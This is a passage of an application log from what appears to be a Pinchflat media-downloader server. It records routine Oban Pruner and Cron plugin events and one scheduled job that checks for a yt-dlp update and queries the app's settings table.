{"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:26:00.835 [info] {"source":"oban","duration":245,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:26:22.090 [info] {"source":"oban","duration":583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:26:52.091 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:27:00.836 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:27:22.093 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:27:52.095 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:28:00.837 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:28:22.096 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:28:52.097 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:29:00.838 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:29:22.098 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:29:52.099 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:30:00.839 [info] {"source":"oban","duration":347,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:30:22.100 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:30:52.102 [info] {"source":"oban","duration":846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:31:00.840 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:31:22.104 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:31:52.105 [info] {"source":"oban","duration":790,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:32:00.841 [info] {"source":"oban","duration":343,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:32:22.107 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:32:52.108 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:33:00.842 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:33:22.109 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:33:52.110 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:34:00.843 [info] {"source":"oban","duration":299,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:34:22.111 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:34:52.112 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:35:00.844 [info] {"source":"oban","duration":202,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:35:22.113 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:35:52.114 [info] {"source":"oban","duration":822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:36:00.845 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:36:22.116 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:36:52.117 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:37:00.846 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:37:22.118 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:37:52.119 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:38:00.847 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:38:22.120 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:38:52.121 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:39:00.849 [info] {"source":"oban","duration":332,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:39:22.122 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:39:52.123 [info] {"source":"oban","duration":574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:40:00.850 [info] {"source":"oban","duration":1081,"event":"plugin:stop","jobs":[1742],"plugin":"Oban.Plugins.Cron"} 09:40:00.857 [info] {"args":{},"id":1742,"meta":{"cron":true,"cron_expr":"40 13 * * *","cron_tz":"Etc/UTC"},"system_time":1775050800857428757,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","event":"job:start","attempt":1,"tags":["local_data"]} 09:40:00.857 [info] Updating yt-dlp 09:40:00.857 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update 09:40:01.947 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update exited: 0 with: Latest version: stable@2026.03.17 from yt-dlp/yt-dlp yt-dlp is up to date (stable@2026.03.17 from yt-dlp/yt-dlp) 09:40:01.947 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version 09:40:02.824 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version exited: 0 with: 2026.03.17 09:40:02.824 [debug] QUERY OK source="settings" db=0.3ms idle=1293.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:40:02.825 [info] {"args":{},"id":1742,"meta":{"cron":true,"cron_expr":"40 13 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","duration":1967294,"event":"job:stop","queue_time":856492,"attempt":1,"tags":["local_data"]} 09:40:22.124 [info] {"source":"oban","duration":994,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:40:52.126 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:41:00.851 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:41:22.127 [info] {"source":"oban","duration":564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:41:52.128 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:42:00.852 [info] {"source":"oban","duration":260,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:42:22.129 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:42:52.130 [info] {"source":"oban","duration":771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:43:00.853 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:43:22.131 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:43:52.132 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:44:00.854 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:44:22.133 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:44:52.134 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:45:00.855 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:45:22.135 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:45:52.136 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:46:00.856 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:46:22.137 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:46:52.138 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:47:00.857 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:47:22.139 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:47:52.140 [info] {"source":"oban","duration":858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:48:00.858 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:48:22.142 [info] {"source":"oban","duration":838,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:48:52.144 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:49:00.859 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:49:22.145 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:49:52.146 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:50:00.860 [info] {"source":"oban","duration":197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:50:22.147 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:50:52.149 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:51:00.861 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:51:22.150 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:51:52.151 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:52:00.862 [info] {"source":"oban","duration":258,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:52:22.152 [info] {"source":"oban","duration":841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:52:52.154 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:53:00.863 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:53:22.155 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:53:52.156 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:54:00.865 [info] {"source":"oban","duration":390,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:54:22.157 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:54:52.158 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:55:00.865 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:55:22.159 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:55:52.159 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:56:00.866 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:56:22.161 [info] {"source":"oban","duration":838,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:56:52.163 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:57:00.867 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:57:22.164 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:57:52.165 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:58:00.868 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:58:22.166 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:58:52.167 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:59:00.869 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:59:22.168 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:59:52.169 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:00:00.870 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:00:22.170 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:00:52.171 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:01:00.871 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:01:22.172 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:01:52.173 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:02:00.872 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:02:22.174 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:02:52.175 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:03:00.873 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:03:22.177 [info] {"source":"oban","duration":749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:03:52.179 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:04:00.874 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:04:22.180 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:04:52.181 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:05:00.875 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:05:22.182 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:05:52.183 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:06:00.876 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:06:22.184 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:06:52.185 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:07:00.877 [info] {"source":"oban","duration":255,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:07:22.186 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:07:52.187 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:08:00.878 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:08:22.188 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:08:52.189 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:09:00.879 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:09:22.190 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:09:52.191 [info] {"source":"oban","duration":554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:10:00.880 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:10:22.192 [info] {"source":"oban","duration":539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:10:52.192 [info] {"source":"oban","duration":490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:11:00.881 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:11:22.194 [info] {"source":"oban","duration":841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:11:52.196 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:12:00.882 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:12:22.197 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:12:52.198 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:13:00.883 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:13:22.199 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:13:52.200 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:14:00.885 [info] {"source":"oban","duration":415,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:14:22.201 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:14:52.202 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:15:00.885 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:15:22.203 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:15:52.204 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:16:00.886 [info] {"source":"oban","duration":296,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:16:22.205 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:16:52.206 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:17:00.887 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:17:22.207 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:17:52.208 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:18:00.888 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:18:22.209 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:18:52.210 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:19:00.889 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:19:22.211 [info] {"source":"oban","duration":802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:19:52.213 [info] {"source":"oban","duration":795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:20:00.890 [info] {"source":"oban","duration":160,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:20:22.215 [info] {"source":"oban","duration":738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:20:52.217 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:21:00.891 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:21:22.218 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:21:52.219 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:22:00.892 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:22:22.220 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:22:52.221 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:23:00.893 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:23:22.223 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:23:52.224 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:24:00.894 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:24:22.225 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:24:52.226 [info] {"source":"oban","duration":449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:25:00.895 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:25:22.227 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:25:52.228 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:26:00.897 [info] {"source":"oban","duration":366,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:26:22.229 [info] {"source":"oban","duration":872,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:26:52.231 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:27:00.897 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:27:22.232 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:27:52.233 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:28:00.899 [info] {"source":"oban","duration":382,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:28:22.234 [info] {"source":"oban","duration":764,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:28:52.236 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:29:00.899 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:29:22.237 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:29:52.238 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:30:00.900 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:30:22.239 [info] {"source":"oban","duration":749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:30:52.240 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:31:00.901 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:31:22.241 [info] {"source":"oban","duration":832,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:31:52.243 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:32:00.903 [info] {"source":"oban","duration":357,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:32:22.244 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:32:52.245 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:33:00.903 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:33:22.247 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:33:52.248 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:34:00.904 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:34:22.249 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:34:52.250 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:35:00.905 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:35:22.252 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:35:52.253 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:36:00.906 [info] {"source":"oban","duration":202,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:36:22.254 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:36:52.255 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:37:00.907 [info] {"source":"oban","duration":163,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:37:22.256 [info] {"source":"oban","duration":772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:37:52.258 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:38:00.908 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:38:22.259 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:38:52.260 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:39:00.909 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:39:22.261 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:39:52.262 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:40:00.911 [info] {"source":"oban","duration":352,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:40:22.263 [info] {"source":"oban","duration":854,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:40:52.265 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:41:00.911 [info] 